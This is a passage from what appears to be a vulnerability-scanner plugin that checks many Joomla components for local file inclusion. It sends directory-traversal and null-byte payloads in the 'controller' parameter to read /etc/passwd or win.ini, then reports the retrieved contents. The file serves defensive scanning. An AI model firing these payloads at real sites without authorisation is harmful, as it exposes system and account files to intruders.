14964)\ncom[ncoms] = \"/index.php?option=com_jphone\";\npat[ncoms] = '<h1>jPhone</h1>|jQTouch';\nncoms++;\n# - JProject Manager (Bugtraq 39383 / EDB-ID 12146)\ncom[ncoms] = \"/index.php?option=com_jprojectmanager\";\npat[ncoms] = '';\nncoms++;\n# - JResearch (Bugtraq 38917)\ncom[ncoms] = \"/index.php?option=com_jresearch\";\npat[ncoms] = '(<title>Research Areas</title>|css/jresearch_styles\\\\.css\")';\nncoms++;\n# - Jukebox (Bugtraq 39248 / EDB-ID 12084)\n# nb: version 1.0 is definitely affected; 1.7 doesn't seem to be\n# although the advisory posted on Exploit DB claims otherwise.\ncom[ncoms] = \"/index.php?option=com_jukebox\";\npat[ncoms] = '(com_jukebox/unitip/images|class=\"jukeboxintro\")';\nncoms++;\n# - Julia Portfolio (Bugtraq 38715)\ncom[ncoms] = \"/index.php?option=com_juliaportfolio\";\npat[ncoms] = '<table class=\"portfolio\">';\nncoms++;\n# - Jvehicles (Bugtraq 39177)\ncom[ncoms] = \"/index.php?option=com_jvehicles\";\npat[ncoms] = 'com_jvehicles/includes/js/config\\\\.js';\nncoms++;\n# - Linkr (Bugtraq 38747)\ncom[ncoms] = \"/index.php?option=com_linkr\";\npat[ncoms] = 'LinkrHelper=new LinkrAPI';\nncoms++;\n# - MediQnA (Bugtraq 40412 / EDB-ID 12769)\ncom[ncoms] = \"/index.php?option=com_mediqna\";\npat[ncoms] = '(<h3>Question Sets\\\\.+</h3>|Click .+view=listing\">here</a> to view other sets)';\nncoms++;\n# - Memory Book (Bugtraq 39398 / EDB-ID 12176)\ncom[ncoms] = \"/index.php?option=com_memory\";\npat[ncoms] = \"value='viewAddMemoryPage'\";\nncoms++;\n# - MMS Blog (Bugtraq 39607 / EDB-ID 12318)\ncom[ncoms] = \"/index.php?option=com_mmsblog\";\npat[ncoms] = 'Powered by .+MMS Blog';\nncoms++;\n# - MS Comment (Bugtraq 40185 / EDB-ID 12611)\ncom[ncoms] = \"/index.php?option=com_mscomment\";\npat[ncoms] = 'class=\"modifydate\" onclick=\"hideComments\\\\(';\nncoms++;\n# - MT Fire Eagle (Bugtraq 39509 / EDB-ID 12233)\ncom[ncoms] = \"/index.php?option=com_mtfireeagle\";\npat[ncoms] = \"mtfireeagleView\";\nncoms++;\n# - Multiple Map (Bugtraq 39551 / EDB-ID 12289)\ncom[ncoms] = \"/index.php?option=com_multimap\";\npat[ncoms] = 'GSmallMapControl\\\\(\\\\)';\nncoms++;\n# - Multiple Root (Bugtraq 39552 / EDB-ID 12287)\ncom[ncoms] = \"/index.php?option=com_multiroot\";\npat[ncoms] = 'function createMarker';\nncoms++;\n# - My Files (Bugtraq 39398 / EDB-ID 12173)\ncom[ncoms] = \"/index.php?option=com_myfiles\";\npat[ncoms] = '<strong>No Files Uploaded</strong>';\nncoms++;\n# - Ninja RSS Syndicator (Exploit DB 11740)\ncom[ncoms] = \"/index.php?option=com_ninjarsssyndicator\";\npat[ncoms] = '<generator>FeedCreator';\nncoms++;\n# - News Portal (BID 39222 / EDB-ID 12077)\n# untested but confirmed at <http://www.ijoomla.com/ijoomla-news-portal/ijoomla-news-portal/index/> (Changelog for version 1.5.9).\ncom[ncoms] = \"/index.php?option=com_news_portal\";\npat[ncoms] = '(com_news_portal/news\\\\.css|com_news_portal/helpers/news\\\\.css)';\nncoms++;\n# - NoticeBoard (BID 39742 / EDB-ID 12427)\ncom[ncoms] = \"/index.php?option=com_noticeboard\";\npat[ncoms] = 'id=\"NoticeBoard';\nncoms++;\n# - obSuggest (BID 48944)\ncom[ncoms] = \"/index.php?option=com_obsuggest\";\npat[ncoms] = '';\nncoms++;\n# - Online Exam (Bugtraq 39398 / EDB-ID 12174)\ncom[ncoms] = \"/index.php?option=com_onlineexam\";\npat[ncoms] = '^USER MUST BE LOGGED IN';\nncoms++;\n# - Online Market (Bugtraq 39398 / EDB-ID 12177)\ncom[ncoms] = \"/index.php?option=com_market\";\npat[ncoms] = '^Messege Could Not';\nncoms++;\n# - OrgChart (Bugtraq 39606 / EDB-ID 12317)\ncom[ncoms] = \"/index.php?option=com_orgchart\";\npat[ncoms] = 'default view of the Org Chart component';\nncoms++;\n# - Percha Categories Tree (Bugtraq 40244)\ncom[ncoms] = \"/index.php?option=com_perchacategoriestree\";\npat[ncoms] = '';\nncoms++;\n# - Percha Downloads Attach (Bugtraq 40244)\ncom[ncoms] = \"/index.php?option=com_perchadownloadsattach\";\npat[ncoms] = 'perchadownloadsattachView';\nncoms++;\n# - Percha Fields Attach (Bugtraq 40244)\ncom[ncoms] = \"/index.php?option=com_perchafieldsattach\";\npat[ncoms] = 'perchafieldsattachView';\nncoms++;\n# - Percha Gallery (Bugtraq 40244)\ncom[ncoms] = \"/index.php?option=com_perchagallery\";\npat[ncoms] = 'perchagalleryView';\nncoms++;\n# - Percha Image Attach (Bugtraq 40244)\ncom[ncoms] = \"/index.php?option=com_perchaimageattach\";\npat[ncoms] = 'perchaimageattachView';\nncoms++;\n# - Picasa2Gallery (Bugtraq 41031 / EDB-ID 13981)\ncom[ncoms] = \"/index.php?option=com_picasa2gallery\";\npat[ncoms] = 'picasa2galleryView';\nncoms++;\n# - Preventive and Reservation (Bugtraq 39387 / EDB-ID 12147)\ncom[ncoms] = \"/index.php?option=com_preventive\";\npat[ncoms] = '(Preventive and reservation creator|name=\"arrival\" id=\"publish_up1\")';\nncoms++;\n# - Properties (Bugtraq 38912)\ncom[ncoms] = \"/index.php?option=com_properties\";\npat[ncoms] = '(\" content=\"Properties\" />|<div id=\"propiedades\")';\nncoms++;\n# - Record (Bugtraq 39398 / EDB-ID 12181)\ncom[ncoms] = \"/index.php?option=com_record\";\npat[ncoms] = '>500 - Layout \"';\nncoms++;\n# - RokDownloads (Bugtraq 38741)\ncom[ncoms] = \"/index.php?option=com_rokdownloads\";\npat[ncoms] = '';\nncoms++;\n# - RWCards (Bugtraq 38267)\ncom[ncoms] = \"/index.php?option=com_rwcards\";\npat[ncoms] = 'rwcards\\\\.slideshow\\\\.css|id=\"rwcardsTable\"';\nncoms++;\n# - SectionEx (Bugtraq 38751)\ncom[ncoms] = \"/index.php?option=com_sectionex\";\npat[ncoms] = 'sectionexView';\nncoms++;\n# - Shoutbox (Bugtraq 39213 / EDB-ID 12067)\n# untested but confirmed at <http://joomla.batjo.nl/news/23-security-release-shoutbox-archive-component..html>.\ncom[ncoms] = \"/index.php?option=com_shoutbox\";\npat[ncoms] = '>Shoutbox Archive<';\nncoms++;\n# - SimpleDownload (Bugtraq 40192 / EDB-ID 12618)\ncom[ncoms] = \"/index.php?option=com_simpledownload\";\npat[ncoms] = '';\nncoms++;\n# - SMEStorage (Bugtraq 38911)\ncom[ncoms] = \"/index.php?option=com_smestorage\";\npat[ncoms] = '(css/smestorage\\\\.css|div id=\"smestorage_div\")';\nncoms++;\n# - spsNewsletter (Bugtraq 39388 / EDB-ID 12149)\ncom[ncoms] = \"/index.php?option=com_spsnewsletter\";\npat[ncoms] = 'value=\"addSubscriber\"';\nncoms++;\n# - SVMap (Bugtraq 39214)\ncom[ncoms] = \"/index.php?option=com_svmap\";\npat[ncoms] = '(com_svmap/svmap\\\\.css|svmap_canvas)';\nncoms++;\n# - Sweety Keeper (Bugtraq 39399 / EDB-ID 12182)\ncom[ncoms] = \"/index.php?option=com_sweetykeeper\";\npat[ncoms] = '(<h1>Sweety Keeper Component</h1>|views/sweetykeeper/)';\nncoms++;\n# - Travelbook (Bugtraq 39385 / EDB-ID 12151)\ncom[ncoms] = \"/index.php?option=com_travelbook\";\npat[ncoms] = '';\nncoms++;\n# - TweetLA (Bugtraq 39386 / EDB-ID 12142)\ncom[ncoms] = \"/index.php?option=com_tweetla\";\npat[ncoms] = '';\nncoms++;\n# - Ulti RPX (Bugtraq 38743)\ncom[ncoms] = \"/index.php?option=com_rpx\";\npat[ncoms] = '';\nncoms++;\n# - User Status (BID 39174)\n# untested but confirmed at <http://extensions.joomla.org/extensions/communities-a-groupware/members-lists/11740>.\ncom[ncoms] = \"/index.php?option=com_userstatus\";\npat[ncoms] = '(userstatus_detail|com_userstatus/images)';\nncoms++;\n# - Vjdeo (Bugtraq 39266 / EDB-ID 12101)\ncom[ncoms] = \"/index.php?option=com_vjdeo\";\npat[ncoms] = 'vjdeoView';\nncoms++;\n# - Webee Comment (Bugtraq 39342 / EDB-ID 12111)\ncom[ncoms] = \"/index.php?option=com_webeecomment\";\npat[ncoms] = 'onclick=\"addComments\\\\(';\nncoms++;\n# - webERPcustomer (BID 39178)\n# untested but confirmed at <http://extensions.joomla.org/extensions/bridges/crm-bridges/8754>.\ncom[ncoms] = \"/index.php?option=com_weberpcustomer\";\npat[ncoms] = '';\nncoms++;\n# - WebTV (Bugtraq 39398 / EDB-ID 12166)\ncom[ncoms] = \"/index.php?option=com_webtv\";\npat[ncoms] = '^Messege Could Not';\nncoms++;\n# - wgPicasa (Bugtraq 39497 / EDB-ID 12230)\ncom[ncoms] = \"/index.php?option=com_wgpicasa\";\npat[ncoms] = 'wgpicasaView';\nncoms++;\n# - WMI (Web Merchant Interface) (Bugtraq 39608 / EDB-ID 12316)\ncom[ncoms] = \"/index.php?option=com_wmi\";\npat[ncoms] = 'WebMoney Transfer';\nncoms++;\n# - World Rates (Bugtraq 39398 / EDB-ID 12180)\ncom[ncoms] = \"/index.php?option=com_worldrates\";\npat[ncoms] = \">World's Currency Rates<\";\nncoms++;\n# - ZiMB Comment (Bugtraq 39548 / EDB-ID 12283)\ncom[ncoms] = \"/index.php?option=com_zimbcomment\";\npat[ncoms] = 'onclick=\"hideComments\\\\(';\nncoms++;\n# - ZTAutolink (Bugtraq 56994)\ncom[ncoms] = \"/index.php?option=com_ztautolink\";\npat[ncoms] = '<h1> </h1>';\nncoms++;\n\n# Try to retrieve a local file.\nos = get_kb_item(\"Host/OS\");\nif (os && report_paranoia < 2)\n{\n if (\"Windows\" >< os)\n files = make_list('/windows/win.ini','/winnt/win.ini');\n else\n files = make_list('/etc/passwd');\n}\nelse files = make_list('/etc/passwd', '/windows/win.ini', '/winnt/win.ini', 'LICENSE.php');\n\nfile_pats = make_array();\nfile_pats['/etc/passwd'] = \"root:.*:0:[01]:\";\nfile_pats['/winnt/win.ini'] = \"^\\[[a-zA-Z\\s]+\\]|^; for 16-bit app support\";\nfile_pats['/windows/win.ini'] = \"^\\[[a-zA-Z\\s]+\\]|^; for 16-bit app support\";\nfile_pats['LICENSE.php'] = \"GNU GENERAL PUBLIC LICENSE\";\n\n# Loop through each directory.\ncontents = \"\";\nfound_file = \"\";\ninfo = \"\";\nnon_affect = make_list();\n\nforeach dir (list_uniq(dirs))\n{\n for (i=0; i<ncoms; i++)\n {\n foreach file (files)\n {\n # Once we find a file that works, stick with it for any subsequent tests.\n if (found_file && file != found_file) continue;\n\n # we can't test some components properly because execution errors\n # out if the required file doesn't result in a valid class. So\n # we'll fudge the filename and hope PHP displays errors.\n if (\n \"com_econtent\" >< com[i] ||\n \"com_perchadownloadsattach\" >< com[i] ||\n \"com_perchafieldsattach\" >< com[i] ||\n \"com_perchagallery\" >< com[i] ||\n \"com_perchaimageattach\" >< com[i] ||\n \"com_record\" >< com[i]\n )\n {\n alt_file = substr(file, 0, strlen(file)-2);\n file_pats[alt_file] = file_pats[file];\n file = alt_file;\n }\n\n if (file[0] == '/') traversal = crap(data:\"../\", length:3*9) + '..';\n else traversal = '../../../';\n if (com_fabrik >!< com[i]) traversal = '/' + traversal;\n\n if (substr(file, strlen(file)-4) == \".php\")\n exploit = traversal + substr(file, 0, strlen(file)-4-1);\n else\n exploit = traversal + file + \"%00\";\n\n url = dir + com[i] + \"&controller=\" + exploit;\n res = http_send_recv3(port:port, method:\"GET\", item:url, exit_on_fail:TRUE);\n\n # There's a problem if...\n body = res[2];\n file_pat = file_pats[file];\n if (\n # we see the expected contents or...\n egrep(pattern:file_pat, string:body) ||\n # we get an error because magic_quotes was enabled or...\n traversal+file+\".php\" >< body ||\n # we get an error claiming the file doesn't exist or...\n file+\"): failed to open stream: No such file\" >< body ||\n file+\") [function.require-once]: failed to open stream: No such file\" >< body ||\n file+\") [<a href='function.require-once'>function.require-once</a>]: failed to open stream: No such file\" >< body ||\n # we get an error about open_basedir restriction.\n file+\") [function.require-once]: failed to open stream: Operation not permitted\" >< body ||\n file+\") [<a href='function.require-once'>function.require-once</a>]: failed to open stream: Operation not permitted\" >< body ||\n \"open_basedir restriction in effect. File(\"+traversal+file >< body\n )\n {\n # Make sure it's the affected component unless we're paranoid or we can't.\n if (report_paranoia < 2 && pat[i])\n {\n url2 = dir + com[i];\n res2 = http_send_recv3(port:port, method:\"GET\", item:url2, exit_on_fail:TRUE);\n\n if (!egrep(pattern:pat[i], string:res2[2])) break;\n }\n\n info += \" - \" + build_url(port:port, qs:url) + '\\n';\n\n if (!contents && egrep(pattern:file_pat, string:body))\n {\n found_file = file;\n\n if (ereg(pattern:\"_(addressbook|arcadegames|cvmaker|diary|flashgames|horoscope|joommail|market|memory|myfiles|onlineexam|orgchart|webtv|worldrates)$\", string:com[i]))\n {\n contents = strstr(body, '<table class=\"nopad\"') - '<table class=\"nopad\"';\n contents = contents - strstr(contents, '<div id');\n contents = contents - strstr(contents, '<h2><center><b>User must be logged in</b>');\n contents = contents - strstr(contents, '<style ');\n contents = contents - strstr(contents, 'USER MUST BE LOGGED IN');\n contents = contents - strstr(contents, '\\n<html>');\n contents = contents - strstr(contents, '\\t\\t<table ');\n contents = contents - strstr(contents, '<table ');\n contents = contents - strstr(contents, '\\n<!-- Deafult');\n contents = ereg_replace(pattern:'^.+<td>[ \\\\t\\\\n\\\\r]*', replace:'', string:contents);\n }\n else if (ereg(pattern:\"_fabrik$\", string:com[i]))\n {\n contents = \"\";\n foreach line (split(body, keep:TRUE))\n {\n if (ereg(pattern:'^<b>Fatal error', string:line)) break;\n if (!ereg(pattern:'^<b(r /)?>', string:line)) contents += line;\n }\n }\n else\n {\n contents = body;\n if (\"<br\" >< contents) contents = contents - strstr(contents, \"<br\");\n }\n }\n else contents = body;\n break;\n }\n }\n if (info && !thorough_tests) break;\n }\n non_affect = make_list(non_affect, dir);\n if (info && !thorough_tests) break;\n}\n# Audits\nif (!info)\n{\n installs = max_index(non_affect);\n\n if (installs == 0)\n exit(0, \"None of the \"+app+ \" installs (\" + join(dirs, sep:\" & \") + \") on port \" + port+ \" are affected.\");\n\n else if (installs == 1)\n audit(AUDIT_WEB_APP_NOT_AFFECTED, app, build_url(qs:dir, port:port));\n\n else exit(0, \"None of the \"+app+ \" installs (\" + join(non_affect, sep:\" & \") + \") on port \" + port + \" are affected.\");\n}\n\n# Report findings.\nif (os && \"Windows\" >< os) found_file = str_replace(find:'/', replace:'\\\\', string:found_file);\nif (empty_or_null(contents)) contents = body;\n\nsecurity_report_v4(\n port : port,\n severity : SECURITY_HOLE,\n file : found_file,\n request : split(info),\n output : contents,\n attach_type : 'text/plain'\n);\nexit(0);\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}]}